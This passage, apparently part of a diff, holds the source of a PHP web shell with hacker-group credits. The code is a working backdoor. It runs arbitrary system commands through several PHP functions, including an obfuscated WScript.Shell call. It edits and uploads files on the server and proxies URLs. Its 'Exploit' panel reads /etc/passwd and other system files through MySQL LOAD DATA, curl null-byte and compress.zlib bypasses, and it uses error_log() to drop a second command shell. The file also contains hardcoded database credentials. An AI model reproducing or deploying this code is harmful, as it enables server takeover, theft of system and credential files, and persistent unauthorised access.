e.checked = form.chkall.checked; + } +} +function really(d,f,m,t) { + if (confirm(m)) { + if (t == 1) { + window.location.href='?dir='+d+'&deldir='+f; + } else { + window.location.href='?dir='+d+'&delfile='+f; + } + } +} +</SCRIPT> +</head> + +<body> +<center> + +<hr width="775" noshade> +<table width="775" border="0" cellpadding="0"> +<?PHP + + + +error_reporting(7); +ob_start(); +$mtime = explode(' ', microtime()); +$starttime = $mtime[1] + $mtime[0]; +$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals'); +if ($onoff != 1) { + @extract($_POST, EXTR_SKIP); + @extract($_GET, EXTR_SKIP); +} +$mohajer = getcwd(); +$self = $_SERVER['PHP_SELF']; +$dis_func = get_cfg_var("disable_functions"); + +/////////////////////////////// + // +$mysql_use = "no"; //"yes" // +$mhost = "localhost"; // +$muser = "ootcom_vb"; // +$mpass = "9ootcom"; // +$mdb = "ootcom_vb"; // + // +/////////////////////////////// + + +if (get_magic_quotes_gpc()) { + $_GET = stripslashes_array($_GET); + $_POST = stripslashes_array($_POST); +} + + + +if (empty($_POST['phpinfo'] )) { + }else{ + echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo()"; + exit; +} + + +if (isset($_POST['url'])) { + $proxycontents = @file_get_contents($_POST['url']); + echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\"><center><br><p><b>»сИЎ URL ДЪИЭК§°Ь</b></p></center></body>"; + exit; +} + +if (empty($_POST['Hkrkoz'] ) ) { + }ELSE{ + $action = '?action=Hkrkoz'; + echo "<table Width='100%' height='10%' bgcolor='#000000' border='1'><tr><td><center><font size='6' color='#BBB516'> +еЯСЯжТ ЗбЯжнК <br><br> +Shap7_haCker <br><br> +X-MeN HaCeR <br><br> +BAD^BOY <br><br> +ЗбУЭСЗдн <br><br> +IRAQE <br><br> +Hell Scream <br><br> +JUBA <br><br> +ЗМСЗЗЗг гЗЭнЗЗЗЗ <br><br> +ЗбжбеЗЗЗЗЗЗд<br><br> +Sniper Syria <br><br> +GeRNaS <br><br> +УжСн жЗЭКОС <br><br> +НЮжЮ ЗбдФС гУгжНе <br><br> +WWW.Hkrkoz.CoM/vb <br><br> +ЗбЮЗПг ЗМгб Фнб еЯСЯжТ ЗбЯжнК <br><br>"; + + + echo "</font></center></td></tr></table> "; + + exit; + } +if (empty($_POST['command'] ) ) { + }ELSE{ + if (substr(PHP_OS, 0, 3) == 'WIN') { + $program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe"; + $prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt"; + + echo "</form>\n"; + } +$tb = new FORMS; + +$tb->tableheader(); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td><b>'.$mohajer.'</b></td><td align="right"><b>'.$_SERVER['REMOTE_ADDR'].'</b></td></tr></table>','center','top'); +$tb->tdbody("<FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'><INPUT type='submit' name='Rifrish' value=' dir ' id=input><INPUT type='submit'name='Hkrkoz' value='КЪСЭ Ъбм ЗбЮЗЖге бГЪЦЗБ' id=input><INPUT type='submit' name='phpinfo' value='PHPinfo' id=input><INPUT type='submit' name='shell' value='command shill' id=input></form>"); +$tb->tablefooter(); +$tb->tableheader(); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>command [ system , shell_exec , passthru , Wscript.Shell , exec , popen ]</b></td></tr></table>','center','top'); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>'); + +$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen'); +$tb->headerform(array('content'=>'<FONT COLOR=RED>cmd:</FONT>'.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' '.$tb->makeinput('command').' '.$tb->makeinput('Run','command','','submit'))); + + echo"<tr class='secondalt'><td align='center'><textarea name='textarea' cols='100' rows='25' readonly>"; + + if ($_POST['command'] ) { + + if ($execfunc=="system") { + system($_POST['command']); + } elseif ($execfunc=="passthru") { + passthru($_POST['command']); + } elseif ($execfunc=="exec") { + $result = exec($_POST['command']); + echo $result; + } elseif ($execfunc=="shell_exec") { + $result=shell_exec($_POST['command']); + echo $result; + } elseif ($execfunc=="popen") { + $pp = popen($_POST['command'], 'r'); + $read = fread($pp, 2096); + echo $read; + pclose($pp); + } elseif ($execfunc=="wscript") { + $wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM WSHSHELL failed"); + $exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command'].""); + $stdout = $exec->StdOut(); + $stroutput = $stdout->ReadAll(); + echo $stroutput; + } else { + system($_POST['command']); + } + + } + +echo"</textarea></td></tr></form></table>"; + exit; +}//end shell + +if ($_POST['editfile']){ +$fp = fopen($_POST['editfile'], "r"); +$filearr = file($_POST['editfile']); + +foreach ($filearr as $string){ + +$content = $content . $string; +} + +echo "<center><div id=logostrip>Edit file: $editfile </div><form action='$REQUEST_URI' method='POST'><textarea name=content cols=122 rows=20>";echo htmlentities($content); echo"</textarea>"; +echo"<input type='hidden' name='dir' value='" . getcwd() ."'> +<input type='hidden' name='savefile' value='{$_POST['editfile']}'><br> +<input type='submit' name='submit' value='Save'></form></center>"; + +fclose($fp); +} + + +if($_POST['savefile']){ + +$fp = fopen($_POST['savefile'], "w"); +$content = stripslashes($content); +fwrite($fp, $content); +fclose($fp); +echo "<center><div id=logostrip>Successfully saved!</div></center>"; + +} +if ($doupfile) { + echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "ЙПґ«іЙ№¦!" : "ЙПґ«К§°Ь!"; +} + + +elseif (($createdirectory) AND !empty($_POST['newdirectory'])) { + if (!empty($newdirectory)) { + $mkdirs="$dir/$newdirectory"; + if (file_exists("$mkdirs")) { + echo "can't make dir"; + } else { + echo (@mkdir("$mkdirs",0777)) ? "ok" : ""; + @chmod("$mkdirs",0777); + } + } +} + +///////// +$pathname=str_replace('\\','/',dirname(__FILE__)); + +//////// +if (!isset($dir) or empty($dir)) { + $dir = "."; + $nowpath = getPath($pathname, $dir); +} else { + $dir=$_post['dir']; + $nowpath = getPath($pathname, $dir); +} + +/////// +$dir_writeable = (dir_writeable($nowpath)) ? "m" : "mm"; +$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : ""; +$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=reg\"mohajer22</a>" : ""; + +$tb = new FORMS; + +$tb->tableheader(); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td><b>'.$mohajer.'</b></td><td align="right"><b>'.$_SERVER['REMOTE_ADDR'].'</b></td></tr></table>','center','top'); +$tb->tdbody("<FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'><INPUT type='submit' name='Rifrish' value=' dir ' id=input><INPUT type='submit'name='Hkrkoz' value='КЪСЭ Ъбм ЗбЮЗЖге бГЪЦЗБ' id=input><INPUT type='submit' name='phpinfo' value='PHPinfo' id=input><INPUT type='submit' name='shell' value='command shill' id=input></form>"); +$tb->tablefooter(); +$tb->tableheader(); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Editfile or make & Uploud file & Make directory</b></td></tr></table>','center','top'); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>'); +$tb->headerform(array('content'=>'<FONT COLOR=RED>File to edit or make:</FONT>'.$tb->makehidden('dir', getcwd() ).' '.$tb->makeinput('editfile').' '.$tb->makeinput('Edit','editfile','','submit'))); + + +$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'<FONT COLOR=RED>Uploud file:</FONT>'.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','up','','submit').$tb->makeinput('uploaddir',$dir,'','hidden'))); + +$tb->headerform(array('content'=>'<FONT COLOR=RED>Make directory:</FONT> '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','newdirectory','','submit'))); +$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen'); +$tb->headerform(array('content'=>'<FONT COLOR=RED>cmd:</FONT>'.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' '.$tb->makeinput('command').' '.$tb->makeinput('Run','command','','submit'))); + +$tb->tdbody ("</td></tr></table>"); +if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) { + + + $tb->tableheader(); +echo"<tr bgcolor='#AA0000'><td align='center' nowrap width='27%'><b>DIR</b></td><td align='center' nowrap width='16%'><b>First data</b></td><td align='center' nowrap width='16%'><b>Last data</b></td><td align='center' nowrap width='11%'><b>Size</b></td><td align='center' nowrap width='6%'><b>Perm</b></td></tr>"; + +$dirs=@opendir($dir); +$dir_i = '0'; +while ($file=@readdir($dirs)) { + $filepath="$dir/$file"; + $a=@is_dir($filepath); + if($a=="1"){ + if($file!=".." && $file!=".") { + $ctime=@date("Y-m-d H:i:s",@filectime($filepath)); + $mtime=@date("Y-m-d H:i:s",@filemtime($filepath)); + $dirperm=substr(base_convert(fileperms($filepath),10,8),-4); + echo "<tr class=".getrowbg().">\n"; + echo " <td style=\"padding-left: 5px;\">[<a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"><font color=\"#006699\">$file</font></a>]</td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$ctime</span></td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$mtime</span></td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">&lt;dir&gt;</span></td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$dirperm</span></td>\n"; + echo "</tr>\n"; + $dir_i++; + } else { + if($file=="..") { + echo "<tr class=".getrowbg().">\n"; + echo " <td nowrap colspan=\"6\" style=\"padding-left: 5px;\"><a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\">Up dir</a></td>\n"; + echo "</tr>\n"; + } + } + } +}// while +@closedir($dirs); + +echo"<tr bgcolor='#cccccc'><td colspan='6' height='5'></td></tr><FORM method='POST'>"; + +$dirs=@opendir($dir); +$file_i = '0'; +while ($file=@readdir($dirs)) { + $filepath="$dir/$file"; + $a=@is_dir($filepath); + if($a=="0"){ + $size=@filesize($filepath); + $size=$size/1024 ; + $size= @number_format($size, 3); + if (@filectime($filepath) == @filemtime($filepath)) { + $ctime=@date("Y-m-d H:i:s",@filectime($filepath)); + $mtime=@date("Y-m-d H:i:s",@filemtime($filepath)); + } else { + $ctime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filectime($filepath))."</span>"; + $mtime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filemtime($filepath))."</span>"; + } + @$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4); + echo "<tr class=".getrowbg().">\n"; + echo " <td style=\"padding-left: 5px;\">"; + echo "<INPUT type=checkbox value=1 name=dl[$filepath]>"; + echo "<a href=\"$filepath\" target=\"_blank\">$file</a></td>\n"; + if ($file == 'config.php') { + + echo "<a href=\"$filepath\" target=\"_blank\"><font color='yellow'>$file<STRONG></STRONG></a></td>\n"; + } + echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$ctime</span></td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$mtime</span></td>\n"; + echo " <td align=\"right\" nowrap class=\"smlfont\"><span class=\"redfont\">$size</span> KB</td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$fileperm</span></td>\n"; + echo "</tr>\n"; + $file_i++; + + + } +}// while +@closedir($dirs); + +echo "</FORM>\n"; +echo "</table>\n"; +}// end dir + + + + + + + + function debuginfo() { + global $starttime; + $mtime = explode(' ', microtime()); + $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6); + echo "Processed in $totaltime second(s)"; + } + + + function stripslashes_array(&$array) { + while(list($key,$var) = each($array)) { + if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) { + if (is_string($var)) { + $array[$key] = stripslashes($var); + } + if (is_array($var)) { + $array[$key] = stripslashes_array($var); + } + } + } + return $array; + } + + + function deltree($deldir) { + $mydir=@dir($deldir); + while($file=$mydir->read()) { + if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) { + @chmod("$deldir/$file",0777); + deltree("$deldir/$file"); + } + if (is_file("$deldir/$file")) { + @chmod("$deldir/$file",0777); + @unlink("$deldir/$file"); + } + } + $mydir->close(); + @chmod("$deldir",0777); + return (@rmdir($deldir)) ? 1 : 0; + } + + + function dir_writeable($dir) { + if (!is_dir($dir)) { + @mkdir($dir, 0777); + } + if(is_dir($dir)) { + if ($fp = @fopen("$dir/test.txt", 'w')) { + @fclose($fp); + @unlink("$dir/test.txt"); + $writeable = 1; + } else { + $writeable = 0; + } + } + return $writeable; + } + + + function getrowbg() { + global $bgcounter; + if ($bgcounter++%2==0) { + return "firstalt"; + } else { + return "secondalt"; + } + } + + + function getPath($mainpath, $relativepath) { + global $dir; + $mainpath_info = explode('/', $mainpath); + $relativepath_info = explode('/', $relativepath); + $relativepath_info_count = count($relativepath_info); + for ($i=0; $i<$relativepath_info_count; $i++) { + if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue; + if ($relativepath_info[$i] == '..') { + $mainpath_info_count = count($mainpath_info); + unset($mainpath_info[$mainpath_info_count-1]); + continue; + } + $mainpath_info[count($mainpath_info)] = $relativepath_info[$i]; + } + return implode('/', $mainpath_info); + } + + + function getphpcfg($varname) { + switch($result = get_cfg_var($varname)) { + case 0: + return "No"; + break; + case 1: + return "Yes"; + break; + default: + return $result; + break; + } + } + + + function getfun($funName) { + return (false !== function_exists($funName)) ? "Yes" : "No"; + } + + + class PHPZip{ + var $out=''; + function PHPZip($dir) { + if (@function_exists('gzcompress')) { + $curdir = getcwd(); + if (is_array($dir)) $filelist = $dir; + else{ + $filelist=$this -> GetFileList($dir);//ОДјюБР±н + foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1); + } + if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir); + else chdir($curdir); + if (count($filelist)>0){ + foreach($filelist as $filename){ + if (is_file($filename)){ + $fd = fopen ($filename, "r"); + $content = @fread ($fd, filesize ($filename)); + fclose ($fd); + if (is_array($dir)) $filename = basename($filename); + $this -> addFile($content, $filename); + } + } + $this->out = $this -> file(); + chdir($curdir); + } + return 1; + } + else return 0; + } + + + function GetFileList($dir){ + static $a; + if (is_dir($dir)) { + if ($dh = opendir($dir)) { + while (($file = readdir($dh)) !== false) { + if($file!='.' && $file!='..'){ + $f=$dir .'/'. $file; + if(is_dir($f)) $this->GetFileList($f); + $a[]=$f; + } + } + closedir($dh); + } + } + return $a; + } + + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } // end if + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + + function addFile($data, $name, $time = 0) { + $name = str_replace('\\', '/', $name); + + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + + $fr .= $zdata; + + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + + $this -> datasec[] = $fr; + $new_offset = strlen(implode('', $this->datasec)); + + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset = $new_offset; + $cdrec .= $name; + + $this -> ctrl_dir[] = $cdrec; + } + + function file() { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } + } + + function sqldumptable($table, $fp=0) { + $tabledump = "DROP TABLE IF EXISTS $table;\n"; + $tabledump .= "CREATE TABLE $table (\n"; + + $firstfield=1; + + $fields = mysql_query("SHOW FIELDS FROM $table"); + while ($field = mysql_fetch_array($fields)) { + if (!$firstfield) { + $tabledump .= ",\n"; + } else { + $firstfield=0; + } + $tabledump .= " $field[Field] $field[Type]"; + if (!empty($field["Default"])) { + $tabledump .= " DEFAULT '$field[Default]'"; + } + if ($field['Null'] != "YES") { + $tabledump .= " NOT NULL"; + } + if ($field['Extra'] != "") { + $tabledump .= " $field[Extra]"; + } + } + mysql_free_result($fields); + + $keys = mysql_query("SHOW KEYS FROM $table"); + while ($key = mysql_fetch_array($keys)) { + $kname=$key['Key_name']; + if ($kname != "PRIMARY" and $key['Non_unique'] == 0) { + $kname="UNIQUE|$kname"; + } + if(!is_array($index[$kname])) { + $index[$kname] = array(); + } + $index[$kname][] = $key['Column_name']; + } + mysql_free_result($keys); + + while(list($kname, $columns) = @each($index)) { + $tabledump .= ",\n"; + $colnames=implode($columns,","); + + if ($kname == "PRIMARY") { + $tabledump .= " PRIMARY KEY ($colnames)"; + } else { + if (substr($kname,0,6) == "UNIQUE") { + $kname=substr($kname,7); + } + $tabledump .= " KEY $kname ($colnames)"; + } + } + + $tabledump .= "\n);\n\n"; + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + + $rows = mysql_query("SELECT * FROM $table"); + $numfields = mysql_num_fields($rows); + while ($row = mysql_fetch_array($rows)) { + $tabledump = "INSERT INTO $table VALUES("; + + $fieldcounter=-1; + $firstfield=1; + while (++$fieldcounter<$numfields) { + if (!$firstfield) { + $tabledump.=", "; + } else { + $firstfield=0; + } + + if (!isset($row[$fieldcounter])) { + $tabledump .= "NULL"; + } else { + $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'"; + } + } + + $tabledump .= ");\n"; + + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + } + mysql_free_result($rows); + } + + class FORMS { + function tableheader() { + echo "<table width=\"775\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\">\n"; + } + + function headerform($arg=array()) { + global $dir; + if ($arg[enctype]){ + $enctype="enctype=\"$arg[enctype]\""; + } else { + $enctype=""; + } + if (!isset($arg[method])) { + $arg[method] = "POST"; + } + if (!isset($arg[action])) { + $arg[action] = ''; + } + echo " <form action=\"".$arg[action]."\" method=\"".$arg[method]."\" $enctype>\n"; + echo " <tr>\n"; + echo " <td>".$arg[content]."</td>\n"; + echo " </tr>\n"; + echo " </form>\n"; + } + + function tdheader($title) { + global $dir; + echo " <tr class=\"firstalt\">\n"; + echo " <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\">·mohajer</a>]</b></td>\n"; + echo " </tr>\n"; + } + + function tdbody($content,$align='center',$bgcolor='2',$height='',$extra='',$colspan='') { + if ($bgcolor=='2') { + $css="secondalt"; + } elseif ($bgcolor=='1') { + $css="firstalt"; + } else { + $css=$bgcolor; + } + $height = empty($height) ? "" : " height=".$height; + $colspan = empty($colspan) ? "" : " colspan=".$colspan; + echo " <tr class=\"".$css."\">\n"; + echo " <td align=\"".$align."\"".$height." ".$colspan." ".$extra.">".$content."</td>\n"; + + echo " </tr>\n"; + } + + function tablefooter() { + echo "</table>\n"; + } + + function formheader($action='',$title,$target='') { + global $dir; + $target = empty($target) ? "" : " target=\"".$target."\""; + echo " <form action=\"$action\" method=\"POST\"".$target.">\n"; + echo " <tr class=\"firstalt\">\n"; + echo " <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\">·µ»Ш</a>]</b></td>\n"; + echo " </tr>\n"; + } + + function makehidden($name,$value=''){ + echo "<input type=\"hidden\" name=\"$name\" value=\"$value\">\n"; + } + + function makeinput($name,$value='',$extra='',$type='text',$size='30',$css='input'){ + $css = ($css == 'input') ? " class=\"input\"" : ""; + $input = "<input name=\"$name\" value=\"$value\" type=\"$type\" ".$css." size=\"$size\" $extra>\n"; + return $input; + } + function makeid($name,$value='',$extra='',$type='select',$size='30',$css='input'){ + $css = ($css == 'input') ? " class=\"input\"" : ""; + $input = "<select name=plugin><option>cat /etc/passwd</option></select>"; + return $input; + } + function makeimp($name,$value='',$extra='',$type='select',$size='30',$css='input'){ + $css = ($css == 'input') ? " class=\"input\"" : ""; + $input = "<select name=switch><option value=file>View file</option><option value=dir>View dir</option></select>"; + return $input; + } + function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''){ + $textarea = "<textarea name=\"".$name."\" cols=\"".$cols."\" rows=\"".$rows."\" ".$extra.">".$content."</textarea>\n"; + return $textarea; + } + + function formfooter($over='',$height=''){ + $height = empty($height) ? "" : " height=\"".$height."\""; + echo " <tr class=\"secondalt\">\n"; + echo " <td align=\"center\"".$height."><input class=\"input\" type=\"submit\" value='mohajer'></td>\n"; + echo " </tr>\n"; + echo " </form>\n"; + echo $end = empty($over) ? "" : "</table>\n"; + } + + function makeselect($arg = array()){ + if ($arg[multiple]==1) { + $multiple = " multiple"; + if ($arg[size]>0) { + $size = "size=$arg[size]"; + } + } + if ($arg[css]==0) { + $css = "class=\"input\""; + } + $select = "<select $css name=\"$arg[name]\"$multiple $size>\n"; + if (is_array($arg[option])) { + foreach ($arg[option] AS $key=>$value) { + if (!is_array($arg[selected])) { + if ($arg[selected]==$key) { + $select .= "<option value=\"$key\" selected>$value</option>\n"; + } else { + $select .= "<option value=\"$key\">$value</option>\n"; + } + + } elseif (is_array($arg[selected])) { + if ($arg[selected][$key]==1) { + $select .= "<option value=\"$key\" selected>$value</option>\n"; + } else { + $select .= "<option value=\"$key\">$value</option>\n"; + } + } + } + } + $select .= "</select>\n"; + return $select; + } + } + + + +$tb->tableheader(); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Exploit: read file [SQL , id , CURL , copy , ini_restore , imap] & Make file ERORR</b></td></tr></table>','center','top'); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>'); + + +$tb->headerform(array('content'=>'<FONT COLOR=RED>read file SQL:</FONT><br>' .$tb->makeinput('Mohajer22','/etc/passwd' ).$tb->makeinput('',Show,'Mohajer22','submit'))); +$tb->headerform(array('content'=>'<FONT COLOR=RED>read file id:</FONT><br>' .$tb->makeid('plugin','cat /etc/passwd' ).$tb->makeinput('',Show,'plugin','submit'))); +$tb->headerform(array('content'=>'<FONT COLOR=RED>read file CURL:</FONT><br>' .$tb->makeinput('curl','/etc/passwd' ).$tb->makeinput('',Show,'curl','submit'))); +$tb->headerform(array('content'=>'<FONT COLOR=RED>read file copy:</FONT><br>' .$tb->makeinput('copy','/etc/passwd' ).$tb->makeinput('',Show,'copy','submit'))); +$tb->headerform(array('content'=>'<FONT COLOR=RED>read file ini_restore:</FONT><br>' .$tb->makeinput('M2','/etc/passwd' ).$tb->makeinput('',Show,'M2','submit'))); +$tb->headerform(array('content'=>'<FONT COLOR=RED>read file or dir with imap:</FONT><br>' .$tb->makeimp('switch','/etc/passwd' ).$tb->makeinput('string','/etc/passwd' ).$tb->makeinput('string','Show','','submit'))); +$tb->headerform(array('content'=>'<FONT COLOR=RED>Make file ERORR:</FONT><br>' .$tb->makeinput('ER','Mohajer22.php' ).$tb->makeinput('ER','Write','ER','submit'))); + + +// read file SQL ( ) // +if(empty($_POST['Mohajer22'])){ +} else { +echo "read file SQL","<br>" ; +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; +$file=$_POST['Mohajer22']; + + +$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf"; +$mysql_files = explode(':', $mysql_files_str); + +$sql = array ( +"USE $mdb", +'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)', +"LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS " +. "TERMINATED BY '__THIS_NEVER_HAPPENS__' " +. "ESCAPED BY '' " +. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'", + +"SELECT a FROM $tbl LIMIT 1" +); +mysql_connect ($mhost, $muser, $mpass); + + foreach ($sql as $statement) { + $q = mysql_query ($statement); + + if ($q == false) die ( + "FAILED: " . $statement . "\n" . + "REASON: " . mysql_error () . "\n" + ); + + if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue; + + echo htmlspecialchars($r[0]); + mysql_free_result ($q); + } +echo "</textarea>"; +} +// ERORR // +if(empty($_POST['ER'])){ +} else { +$ERORR=$_POST['ER']; +echo error_log(" +<html> +<head> +<title> Exploit: error_log() By * TrYaG Team * </title> +<body bgcolor=\"#000000\"> +<table Width='100%' height='10%' bgcolor='#8C0404' border='1'> +<tr> +<td><center><font size='6' color='#BBB516'> By TrYaG Team</font></center></td> +</tr> +</table> +<font color='#FF0000'> +</head> +<? +if(\$fileup == \"\"){ +ECHO \" reade for up \"; +}else{ +\$path= exec(\"pwd\"); +\$path .= \"/\$fileup_name\"; +\$CopyFile = copy(\$fileup,\"\$path\"); +if(\$CopyFile){ +echo \" up ok \"; +}else{ +echo \" no up \"; +} +} +if(empty(\$_POST['m'])){ +} else { +\$m=\$_POST['m']; +echo system(\$m); +} +if(empty(\$_POST['cmd'])){ +} else { +\$h= \$_POST['cmd']; + print include(\$h) ; +} +?> +<form method='POST' enctype='multipart/form-data' > +<input type='file' name='fileup' size='20'> +<input type='submit' value=' up '> +</form> +<form method='POST' > +<input type='cmd' name='cmd' size='20'> +<input type='submit' value=' open (shill.txt) '> +</form> +<form method='POST' enctype='multipart/form-data' > +<input type='text' name='m' size='20'> +<input type='submit' value=' run '> +<input type='reset' value=' reset '> +</form> +", 3,$ERORR); +} + +// id //,DJ, +if ($_POST['plugin'] ){ +echo "read file id" ,"<br>"; +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; + + + + for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd + $ara = posix_getpwuid($uid); + if (!empty($ara)) { + while (list ($key, $val) = each($ara)){ + print "$val:"; + } + print "\n"; + } + } + echo "</textarea>"; + break; + + + } + + +// CURL // +if(empty($_POST['curl'])){ + +} else { +echo "read file CURL","<br>" ; +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; +$m=$_POST['curl']; +$ch = +curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__); +curl_exec($ch); +var_dump(curl_exec($ch)); +echo "</textarea>"; +} + +// copy// +$u1p=""; +$tymczas=""; +if(empty($_POST['copy'])){ +} else { +echo "read file copy" ,"<br>"; +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; +$u1p=$_POST['copy']; +$temp=tempnam($tymczas, "cx"); +if(copy("compress.zlib://".$u1p, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "".htmlspecialchars($tekst).""; +unlink($temp); +echo "</textarea>"; +} else { +die("<FONT COLOR=\"RED\"><CENTER>Sorry... File +<B>".htmlspecialchars($u1p)."</B> dosen't exists or you don't have +access.</CENTER></FONT>"); +} +} + +/// ini_restore // 